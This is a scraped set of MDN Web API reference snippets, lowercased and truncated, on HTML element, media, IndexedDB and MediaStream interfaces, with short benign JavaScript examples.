if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoffsettopchrome full support 1edge full support 12firefox full support 1ie full support 8opera full support 8safari full support 3webview android full support 1chrome android full support 18firefox android full support 4opera android ...
HTMLElement.offsetWidth - Web APIs
it does not include the width of pseudo-elements such as ::before or ::after.
... working draft notes offsetwidth is a property of the dhtml object model which was first introduced by msie.
HTMLElement: pointermove event - Web APIs
the pointermove event is fired when a pointer changes coordinates, and the pointer has not been canceled by a browser touch-action.
... bubbles yes cancelable yes interface pointerevent event handler property onpointermove usage notes the event, which is of type pointerevent, provides all the information you need to know about the user's interaction with the pointing device, including the position, movement distance, button states, and much more.
HTMLElement.title - Web APIs
WebAPIHTMLElementtitle
living standard no change from document object model (dom) level 2 html specification.
... obsolete no change from document object model (dom) level 1 specification.
HTMLFormElement.reportValidity() - Web APIs
the htmlformelement.reportvalidity() method returns true if the element's child controls satisfy their validation constraints.
... when false is returned, cancelable invalid events are fired for each invalid child and validation problems are reported to the user.
HTMLFormElement.requestSubmit() - Web APIs
syntax htmlformelement.requestsubmit(submitter); parameters submitter optional the submit button whose attributes describe the method by which the form is to be submitted.
... notfounderror the specified submitter isn't a member of the form on which requestsubmit() was called.
HTMLFormElement.reset() - Web APIs
if a form control (such as a reset button) has a name or id of reset it will mask the form's reset method.
... it does not reset other attributes in the input, such as disabled.
HTMLFormElement: reset event - Web APIs
working draft no change html 5.2the definition of 'reset' in that specification.
... recommendation no change html 5.1the definition of 'reset' in that specification.
HTMLHyperlinkElementUtils.protocol - Web APIs
the htmlhyperlinkelementutils.protocol property is a usvstring representing the protocol scheme of the url, including the final ':'.
... syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.protocol' in that specification.
HTMLLabelElement.control - Web APIs
the read-only htmllabelelement.control property returns a reference to the control (in the form of an object of type htmlelement or one of its derivatives) with which the <label> element is associated, or null if the label isn't associated with a control.
... syntax control = htmllabelelement.control value an htmlelement derived object representing the control with which the <label> is associated, or null if the label stands alone.
HTMLLabelElement.form - Web APIs
the read-only htmllabelelement.form property returns an htmlformelement object which represents the form of which the label's associated control is a part, or null if there is either no associated control, or if that control isn't in a form.
... syntax form = htmllabelelement.form value an htmlformelement which represents the form with which the label's control is associated.
HTMLLabelElement.htmlFor - Web APIs
that means that this script-accessible property is used to set and read the value of the content property for, which is the id of the label's associated control element.
... syntax controlid = htmllabelelement.htmlfor htmllabelelement.htmlfor = newid value a domstring which contains the id string of the element which is associated with the control.
HTMLLinkElement.rel - Web APIs
living standard no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'rel' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'rel' in that specification.
HTMLMediaElement.buffered - Web APIs
this object is normalized, which means that ranges are ordered, don't overlap, aren't empty, and don't touch (adjacent ranges are folded into one bigger range).
... living standard no change from html5 html5the definition of 'htmlmediaelement.buffered' in that specification.
HTMLMediaElement.captureStream() - Web APIs
the capturestream() property of the htmlmediaelement interface returns a mediastream object which is streaming a real-time capture of the content being rendered in the media element.
... return value a mediastream object which can be used as a source for audio and/or video data by other media processing code, or as a source for webrtc.
HTMLMediaElement.controls - Web APIs
the htmlmediaelement.controls property reflects the controls html attribute, which controls whether user interface controls for playing the media item will be displayed.
... living standard no change from html5 html5the definition of 'htmlmediaelement.controls' in that specification.
HTMLMediaElement.defaultMuted - Web APIs
the htmlmediaelement.defaultmuted property reflects the muted html attribute, which indicates whether the media element's audio output should be muted by default.
... living standard no change from html5 html5the definition of 'htmlmediaelement.defaultmuted' in that specification.
HTMLMediaElement: ended event - Web APIs
the ended event is fired when playback or streaming has stopped because the end of the media was reached or because no further data is available.
... this event occurs based upon htmlmediaelement (<audio> and <video>) fire ended when playback of the media reaches the end of the media.
HTMLMediaElement: loadedmetadata event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadedmetadata specification html5 media additional properties property type description mozchannels read only int the number of channels.
... mozframebufferlength read only int the number of samples collected in all channels.
msClearEffects - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... see also touch api microsoft api extensions ...
HTMLMediaElement.msInsertAudioEffect() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... effectrequired a boolean which if set to true requires an audio effect to be defined.
HTMLMediaElement.networkState - Web APIs
the htmlmediaelement.networkstate property indicates the current state of the fetching of media over the network.
... examples this example will listen for the audio element to begin playing and then check if it is still loading data.
HTMLMediaElement: stalled event - Web APIs
the stalled event is fired when the user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('stalled', (event) => { console.log('failed to fetch data, but trying.'); }); using the onstalled event handler property: const video = document.queryselector('video'); video.onstalled = (event) => { console.log('failed to fetch data, but trying.'); }; specifications specification status html living standardthe definition of 'stalled media event' in that specification.
HTMLOptionsCollection - Web APIs
en;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlcollection" target="_top"><rect x="1" y="1" width="140" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlcollection</text></a><polyline points="141,25 151,20 151,30 141,25" stroke="#d4dde4" fill="none"/><line x1="151" y1="25" x2="181" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmloptionscollection" target="_top"><rect x="181" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="286" y="30" font-size="1...
...2px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptionscollection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties name type description length unsigned long as optionally allowed by the spec, this property isn't read-only.
HTMLSelectElement.disabled - Web APIs
the htmlselectelement.disabled is a boolean that reflects the disabled html attribute, which indicates whether the control is disabled.
... <input id="allow-drinks" type="checkbox"/> </label> <label for="drink-select">drink selection:</label> <select id="drink-select" disabled> <option value="1">water</option> <option value="2">beer</option> <option value="3">pepsi</option> <option value="4">whisky</option> </select> javascript var allowdrinkscheckbox = document.getelementbyid("allow-drinks"); var drinkselect = document.getelementbyid("drink-select"); allowdrinkscheckbox.addeventlistener("change", function(event) { if (event.target.checked) { drinkselect.disabled = false; } else { drinkselect.disabled = true; } }, fals...
HTMLSelectElement.namedItem() - Web APIs
the htmlselectelement.nameditem() method returns the htmloptionelement corresponding to the htmloptionelement whose name or id match the specified name, or null if no option matches.
... living standard no change since the latest snapshot, html5.
HTMLSelectElement.selectedIndex - Web APIs
example html <p id="p">selectedindex: 0</p> <select id="select"> <option selected>option a</option> <option>option b</option> <option>option c</option> <option>option d</option> <option>option e</option> </select> javascript var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... living standard no change since the latest snapshot, html5.
HTMLTableElement.cellSpacing - Web APIs
any two cells are separated by the sum of the cellspacing of each of the two cells.
... syntax htmltableelement.cellspacing = spacing; var spacing = htmltableelement.cellspacing; value a domstring which is either a number of pixels (such as "10") or a percentage value (like "10%").
HTMLTableElement.insertRow() - Web APIs
(to be valid html, a <tr> must have at least one <td> element.) finally, we add some text to the cell using document.createtextnode() and node.appendchild().
... javascript function addrow(tableid) { // get a reference to the table let tableref = document.getelementbyid(tableid); // insert a row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html living standardthe definition of 'htmltableelement.insertrow()' in that specification.
HTMLTrackElement.src - Web APIs
the htmltrackelement.src property reflects the value of the <track> element's src attribute, which indicates the url of the text track's data.
... living standard no change from html5 html5the definition of 'htmltrackelement.src' in that specification.
HTMLVideoElement.msFrameStep() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... syntax htmlvideoelement.msframestep(forward); parameters forward a boolean which if set to true steps the video forward by one frame, if false steps the video backwards by one frame.
HTMLVideoElement.msHorizontalMirror - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... mshorizontalmirror is a read/write property which gets or sets whether a video element is flipped horizontally in the display.
HTMLVideoElement.msInsertVideoEffect() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... effectrequired a boolean which if set to true requires a video effect to be defined.
msStereo3DPackingMode - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msstereo3dpackingmode is a read/write property which gets or sets the frame-packing mode for stereo 3-d video content.
msStereo3DRenderMode - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msstereo3drendermode is a read/write property which gets or sets whether the system display is set to stereo display (if stereo-capable).
File drag and drop - Web APIs
in the following drop handler, if the browser supports datatransferitemlist interface, the getasfile() method is used to access each file; otherwise the datatransfer interface's files property is used to access each file.
... this example shows how to write the name of each dragged file to the console.
Headers() - Web APIs
WebAPIHeadersHeaders
in the following snippet we create a new headers object, adding some headers by passing the constructor an init object as an argument: var httpheaders = { 'content-type' : 'image/jpeg', 'accept-charset' : 'utf-8', 'x-my-custom-header' : 'zeke are cool' }; var myheaders = new headers(httpheaders); you can now create another headers object, passing it the first headers object as its init object: var secondheadersobj = new headers(myheaders); secondheadersobj.get('content-type'); // would return 'image/jpeg' — it inherits it from the first headers object specifications specific...
...ation status comment fetchthe definition of 'headers()' in that specification.
Headers.append() - Web APIs
WebAPIHeadersappend
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using append(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' if the specified header already exists, append() will change its value to the specified value.
... specifications specification status comment fetchthe definition of 'append()' in that specification.
HmacImportParams - Web APIs
warning: although you can technically pass sha-1 here, this is strongly discouraged as it is considered vulnerable.
...if this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen.
IDBDatabaseSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... the databasesync interface in the indexeddb api represents a synchronous connection to a database.
IDBEnvironmentSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... attributes attribute type description indexeddbsync readonly idbfactorysync provides a synchronous means of accessing the capabilities of indexed databases.
IDBFactorySync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... the idbfactorysync interface of the indexeddb api provide a synchronous means of accessing the capabilities of indexed databases.
IDBIndex.getAll() - Web APIs
WebAPIIDBIndexgetAll
if you are just interested in looking at each of the keys, for instance, it is more efficient to use a cursor.
... return value an idbrequest object on which subsequent events related to this operation are fired.
IDBObjectStore.getAllKeys() - Web APIs
the getallkeys() method of the idbobjectstore interface returns an idbrequest object retrieves record keys for all objects in the object store matching the specified parameter or all objects in the store if no parameters are given.
... return value an idbrequest object on which subsequent events related to this operation are fired.
IDBObjectStore.openKeyCursor() - Web APIs
the openkeycursor() method of the idbobjectstore interface returns an idbrequest object whose result will be set to an idbcursor that can be used to iterate through matching results.
... return value an idbrequest object on which subsequent events related to this operation are fired.
IDBOpenDBRequest: blocked event - Web APIs
the blocked handler is executed when an open connection to a database is blocking a versionchange transaction on the same database.
... bubbles no cancelable no interface idbversionchangeevent event handler property onblocked examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); object...
ImageBitmap - Web APIs
the imagebitmap interface represents a bitmap image which can be drawn to a <canvas> without undue latency.
...imagebitmap provides an asynchronous and resource efficient pathway to prepare textures for rendering in webgl.
ImageCapture.getPhotoCapabilities() - Web APIs
example the following example, extracted from chrome's image capture / photo resolution sample, uses the results from getphotocapabilities() to modify the size of an input range.
... return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'getphotocapabilities()' in that specification.
ImageCapture.getPhotoSettings() - Web APIs
example the following example, extracted from chrome's image capture / photo resolution sample, uses the results from getphotosettings() to modify the size of an input range.
... return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'getphotosettings()' in that specification.
InputDeviceCapabilities - Web APIs
the inputdevicecapabilities() constructor creates a new inputdevicecapabilities object provides information about the physical device responsible for generating a touch event.
... firetouchevents: a boolean that indicates whether the device dispatches touch events.
InputDeviceCapabilities - Web APIs
this allows, for example, touchscreen keyboards and physical keyboards to be represented the same way when they produce the same input.
... properties inputdevicecapabilities.firestoucheventsread only a boolean that indicates whether the device dispatches touch events.
enabled - Web APIs
summary indicates whether or not software installation is enabled for this client machine.
... method of installtrigger object syntax boolean enabled (); parameters none returns true if software installation is enabled for this client machine; otherwise, false.
startSoftwareUpdate - Web APIs
this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi.
... note also that xpis installed with this method must have their own install.js files in which the full installation is defined.
IntersectionObserver.thresholds - Web APIs
if you accidentally use thresholds as the name of the field in your options, the thresholds array will wind up being simply [0.0], which is likely not what you expect.
... debugging chaos may ensue.
IntersectionObserverEntry.boundingClientRect - Web APIs
the intersectionobserverentry interface's read-only boundingclientrect property returns a domrectreadonly which in essence describes a rectangle describing the smallest rectangle that contains the entire target element.
... syntax var boundsrect = intersectionobserverentry.boundingclientrect; value a domrectreadonly which describes the smallest rectangle that contains every part of the target element whose intersection change is being described.
IntersectionObserverEntry.rootBounds - Web APIs
syntax var rootbounds = intersectionobserverentry.rootbounds; value a domrectreadonly which describes the root intersection rectangle.
... for roots which are the document's viewport, this rectangle is the bounds rectangle of the entire document.
Keyboard - Web APIs
WebAPIKeyboard
methods keyboard.getlayoutmap() returns a promise that resolves with an instance of keyboardlayoutmap which is a map-like object with functions for retrieving the strings associated with specific physical keys.
... keyboard.unlock() unlocks all keys captured by the lock() method and returns synchronously.
KeyboardEvent() - Web APIs
"charcode", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboardevent.charcode.
... "which", optional and defaulting to 0, of type unsigned long, that sets the value of the deprecated keyboardevent.which.
KeyboardEvent.initKeyboardEvent() - Web APIs
syntax kbdevent.initkeyboardevent(typearg, canbubblearg, cancelablearg, viewarg, chararg, keyarg, locationarg, modifierslistarg, repeat) parameters typearg the type of keyboard event; this will be one of keydown, keypress, or keyup.
... chararg the value of the char attribute.
KeyboardEvent.location - Web APIs
on the other hand, if the keyboard doesn't have a keypad, such as on a notebook computer, some keys become numpad only when numlock is locked.
... when such keys fires key events, the location attribute value depends on the key.
KeyframeEffect - Web APIs
keyframeeffect.iterationcomposite gets and sets the iteration composite operation for resolving the property value changes of this keyframe effect.
... keyframeeffect.composite gets and sets the composite operation property for resolving the property value changes between this and other keyframe effects.
Location: protocol - Web APIs
WebAPILocationprotocol
the protocol property of the location interface is a usvstring representing the protocol scheme of the url, including the final ':'.
... syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/location.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'protocol' in that specification.
Locks.name - Web APIs
WebAPILockname
the name is selected by the developer to represent an abstract resource for which use is being coordinated across multiple tabs, workers, or other code within the origin.
... for example, if only one tab of a web application should be synchronizing network resources with an offline database, it could use a lock name such as "net_db_sync".
LockManager - Web APIs
methods lockmanager.request() requests a lock object with parameters specifying its name and characteristics.
... lockmanager.query() returns a promise that resolves with a lockmanagersnapshot which contains information about held and pending locks.
LockedFile.flush() - Web APIs
WebAPILockedFileflush
there may also be large incompatibilities between implementations and the behavior may change in the future.
... summary the flush method is used to ensure any change made to a file is properly written on disk.
LockedFile.getMetadata() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...each key is a boolean where true means the metadata is expected and where false means it is not expected.
LockedFile.oncomplete - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
...these events occur each time a read or write operation is successful.
MIDIMessageEvent - Web APIs
note: even though the web midi api specifies a receivedtime property that returns a domhighrestimestamp, chrome (the only implementation at the time of writing) does not support that property since the basic event.timestamp property already returns a domhighrestimestamp in chrome.
... examples // printing all messages to console navigator.requestmidiaccess().then(midiaccess => { array.from(midiaccess.inputs).foreach(input => { input[1].onmidimessage = console.log; }) }); specifications specification status comment web midi apithe definition of 'midimessageevent' in that specification.
MSCandidateWindowHide - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
MSManipulationEvent.initMSManipulationEvent() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... viewarg [in] type: abstractview the view in which the event is taking place.
MediaCapabilities.encodingInfo() - Web APIs
the mediacapabilities.encodinginfo() method, part of the mediacapabilities interface of the media capabilities api, returns a promise with the tested media configuration's mediacapabilitiesinfo; this contains the three boolean properties supported, smooth, and powerefficient, which describe how compatible the device is with the type of media.
... } }; // check support and performance navigator.mediacapabilities.encodinginfo(mediaconfig).then(result => { console.log('this configuration is ' + (result.supported ?
MediaCapabilities - Web APIs
methods mediacapabilities.encodinginfo() when passed a valid media configuration, it returns a promise with information as to whether the media type is supported, and whether encoding such media would be smooth and power efficient.
... mediacapabilities.decodinginfo() when passed a valid media configuration, it returns a promise with information as to whether the media type is supported, and whether decoding such media would be smooth and power efficient.
MediaCapabilitiesInfo - Web APIs
the mediacapabilitiesinfo interface of the media capabilities api is made available when the promise returned by the mediacapabilities.encodinginfo() or mediacapabilities.decodinginfo() methods of the mediacapabilities interface fulfills, providing information as to whether the media type is supported, and whether encoding or decoding such media would be smooth and power efficient.
... example // mediaconfiguration to be tested const mediaconfig = { type : 'file', audio : { contenttype : "audio/ogg", channels : 2, bitrate : 132700, samplerate : 5200 }, }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { // result contains the media capabilities information console.log('this configuration is ' + (result.supported ?
MediaDeviceInfo - Web APIs
the set of device labels could otherwise be used as part of a fingerprinting mechanism to identify a user.
... navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.foreach(function(device) { console.log(device.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); }); this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= or if one or more media streams ...
MediaElementAudioSourceNode.mediaElement - Web APIs
the mediaelementaudiosourcenode interface's read-only mediaelement property indicates the htmlmediaelement that contains the audio track from which the node is receiving audio.
... syntax audiosourceelement = mediaelementaudiosourcenode.mediaelement; value an htmlmediaelement representing the element which contains the source of audio for the node.
MediaKeyMessageEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeymessageevent" target="_top"><rect x="116" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-famil...
...y="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeymessageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mediakeymessageevent() creates a new instance of mediakeymessageevent.
expiration - Web APIs
the mediakeysession.expiration read-only property returns the time after which the keys in the current session can no longer be used to decrypt media data, or nan if no such time exists.
...this value may change during a session lifetime, such as when an action triggers the start of a window.
MediaKeySession.onmessage - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/mediakeysession" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font...
...-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeysession</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax mediakeysession.onmessage = function(mediakeymessageevent) { ...
MediaPositionState.duration - Web APIs
this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer.
...to indicate media of unknown or indeterminate length, such as an ongoing live stream, specify a value of positive infinity (infinity).
MediaPositionState.position - Web APIs
this information is then, in turn, used by the user agent to provide a user interface which displays media playback information to the viewer.
... example in this example, a player for a non-standard media file format, written in javascript, uses setinterval() to establish a callback which fires once per second to refresh the position information by calling setpositionstate().
MediaPositionState - Web APIs
this should always be a positive number, with positive infinity (infinity) indicating media without a defined end, such as a live stream.
... playbackrate a floating-point value indicating the rate at which the media is being played, as a ratio relative to its normal playback speed.
MediaQueryList.removeListener() - Web APIs
in the new implementation the standard event mechanism is used, and the callback is a standard function.
... examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); // later on, when it is no longer needed mql.removelistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'removelistener' in that specification.
MediaQueryListEvent.MediaQueryListEvent() - Web APIs
matches: a boolean representing the media query status — true if it matches, false if not.
... examples var media = '(max-width: 600px)'; var matches = true; var mymediaquerylistevent = new mediaquerylistevent({media, matches}); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent()' in that specification.
MediaRecorder.isTypeSupported - Web APIs
the mediarecorder.istypesupported() static method returns a boolean which is true if the mime type specified is one the user agent should be able to successfully record.
... syntax var canrecord = mediarecorder.istypesupported(mimetype) parameters mimetype the mime media type to check.
MediaRecorder.onerror - Web APIs
in addition to other general errors that might occur, the following errors are specifically possible when using the mediastream recording api; to determine which occurred, check the value of mediarecordererrorevent.error.name.
... function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { return err.name; /* return the error name */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; switch(error.name) { case invalidstateerror: shownotification("you can't record the video right " + "now.
MediaRecorder.onstop - Web APIs
in each case, the stop event is preceded by a dataavailable event, making the blob captured up to that point available for you to use in your application.
... mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaSession - Web APIs
properties metadata returns an instance of mediametadata which contains rich media metadata, for display in a platform ui.
... methods setactionhandler() sets an event handler for a media session action, such as play or pause.
MediaSessionActionDetails.action - Web APIs
the action property is the only required property mediasessionactiondetails dictionary, specifying the type of media session action which the action handler callback is being executed for.
... syntax let mediasessionactiondetails = { action: actiontype }; let actiontype = mediasessionactiondetails.action; value a domstring specifying which of the action types the callback is being invoked for: nexttrack advances playback to the next track.
MediaSessionActionDetails.seekOffset - Web APIs
syntax let mediasessionactiondetails = { seekoffset: deltatimeinseconds }; let deltatime = mediasessionactiondetails.seekoffset; value a floating-point value indicating the time delta in seconds by which to move the playback position relative to its current timestamp.
... if the offset isn't specified, the user agent will choose an appropriate offset automatically.
MediaSettingsRange - Web APIs
example the following example, extracted from chrome's image capture / photo resolution sample, uses the results from getphotocapabilities().imagewidth to modify the size of an input range.
... return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'mediasettingsrange' in that specification.
MediaSource.activeSourceBuffers - Web APIs
syntax var myactivesourcebuffers = mediasource.activesourcebuffers; value a sourcebufferlist containing the sourcebuffer objects for each of the active tracks.
... example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.activesourcebuffers); // will contain the source buffer that was added above, // as it is selected for playing in the video player video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaStream() - Web APIs
the mediastream() constructor returns a newly-created mediastream, which serves as a collection of media tracks, each represented by a mediastreamtrack object.
... tracks an array of mediastreamtrack objects, one for each track to add to the stream.
active - Web APIs
the active read-only property of the mediastream interface returns a boolean value which is true if the stream is currently active; otherwise, it returns false.
... syntax var isactive = mediastream.active; value a boolean value which is true if the stream is currently active; otherwise, the value is false.
MediaStream.clone() - Web APIs
WebAPIMediaStreamclone
this new mediastream object has a new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called.
... return value a new mediastream instance which has a new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called.
MediaStream.getTrackById() - Web APIs
syntax var track = mediastream.gettrackbyid(id); parameters id a domstring which identifies the track to be returned.
... return value if a track is found for which mediastreamtrack.id matches the specified id string, that mediastreamtrack object is returned.
MediaStreamAudioDestinationNode.stream - Web APIs
the stream property of the audiocontext interface represents a mediastream containing a single audiomediastreamtrack with the same number of channels as the node itself.
... you can use this property to get a stream out of the audio graph and feed it into another construct, such as a media recorder.
MediaStreamAudioSourceOptions.mediaStream - Web APIs
the mediastreamaudiosourceoptions dictionary's mediastream property must specify the mediastream from which to retrieve audio data when instantiating a mediastreamaudiosourcenode using the mediastreamaudiosourcenode() constructor.
... syntax mediastreamaudiosourceoptions = { mediastream: audiosourcestream; } mediastreamaudiosourceoptions.mediastream = audiosourcestream; value a mediastream representing the stream from which to use a mediastreamtrack as the source of audio for the node.
MediaStreamConstraints - Web APIs
track constraints audio either a boolean (which indicates whether or not an audio track is requested) or a mediatrackconstraints object providing the constraints which must be met by the audio track included in the returned mediastream.
... video either a boolean (which indicates whether or not a video track is requested) or a mediatrackconstraints object providing the constraints which must be met by the video track included in the returned mediastream.
MediaStreamTrack: ended event - Web APIs
the ended event of the mediastreamtrack interface is fired when playback or streaming has stopped because the end of the media was reached or because no further data is available.
... examples this example sets up an event handler for the ended event, which changes an on-screen icon to indicate that the track is no longer active.
MediaStreamTrack.getConstraints() - Web APIs
syntax const constraints = track.getconstraints() return value a mediatrackconstraints object which indicates the constrainable properties the web site or app most recently set using applyconstraints().
... function switchcameras(track, camera) { const constraints = track.getconstraints(); constraints.facingmode = camera; track.applyconstraints(constraints); } specifications specification status comment media capture and streamsthe definition of 'getconstraints()' in that specification.
MediaStreamTrack: mute event - Web APIs
